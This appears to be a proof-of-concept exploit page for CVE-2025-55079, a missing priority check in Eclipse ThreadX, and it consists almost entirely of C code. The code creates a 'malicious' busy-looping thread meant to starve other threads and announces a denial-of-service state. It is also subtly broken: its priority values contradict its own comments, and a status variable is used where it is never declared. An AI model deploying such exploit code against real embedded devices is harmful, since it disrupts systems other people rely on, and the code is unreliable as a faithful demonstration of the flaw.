CVE-2025-55079 Eclipse ThreadX线程优先级检查缺失导致拒绝服务漏洞

/* * CVE-2025-55079 - Eclipse ThreadX Priority Check Bypass PoC * * This PoC demonstrates the missing maximum priority check vulnerability * in Eclipse ThreadX before version 6.4.3. * * The vulnerability allows creating/modifying a thread with priority * higher than the configured maximum, potentially causing DoS. */ #include "tx_api.h" #include <stdio.h> #define DEMO_STACK_SIZE 1024 #define MAX_PRIORITY_VALUE 0 /* Configured max priority (e.g., 0 = highest) */ #define EXPLOIT_PRIORITY 0xFF /* Attempt to set a very high priority value */ TX_THREAD malicious_thread; TX_THREAD legitimate_thread; ULONG malicious_stack[DEMO_STACK_SIZE]; ULONG legitimate_stack[DEMO_STACK_SIZE]; /* Thread that continuously consumes CPU resources at elevated priority */ void malicious_thread_entry(ULONG thread_input) { while(1) { /* Busy loop - prevents lower priority threads from executing */ /* This causes DoS for legitimate system threads */ volatile ULONG counter = 0; while(counter < 1000000) { counter++; } } } /* Normal legitimate thread that should be able to run */ void legitimate_thread_entry(ULONG thread_input) { while(1) { printf("Legitimate thread running...\n"); tx_thread_sleep(100); } } void exploit_cve_2025_55079(void) { UINT status; /* Initialize ThreadX kernel */ tx_kernel_enter(); } void tx_application_define(void *first_unused_memory) { /* Create a legitimate thread with normal priority */ tx_thread_create(&legitimate_thread, "legit_thread", legitimate_thread_entry, 0, legitimate_stack, DEMO_STACK_SIZE, 10, 10, TX_NO_TIME_SLICE, TX_AUTO_START); /* * Exploit: Create a thread with priority exceeding the maximum allowed. * In vulnerable versions (< 6.4.3), the maximum priority check is bypassed * in certain code paths, allowing this thread to be created with an * abnormally high priority. */ status = tx_thread_create(&malicious_thread, "malicious_thread", malicious_thread_entry, 0, malicious_stack, DEMO_STACK_SIZE, EXPLOIT_PRIORITY, EXPLOIT_PRIORITY, TX_NO_TIME_SLICE, TX_AUTO_START); if (status == TX_SUCCESS) { /* Thread created with unauthorized priority - DoS achieved */ /* The malicious thread will starve all lower priority threads */ printf("[+] Exploit successful: Thread created with priority %d\n", EXPLOIT_PRIORITY); printf("[+] System is now in denial-of-service state\n"); } else { printf("[-] Exploit failed: status = 0x%02X\n", status); } }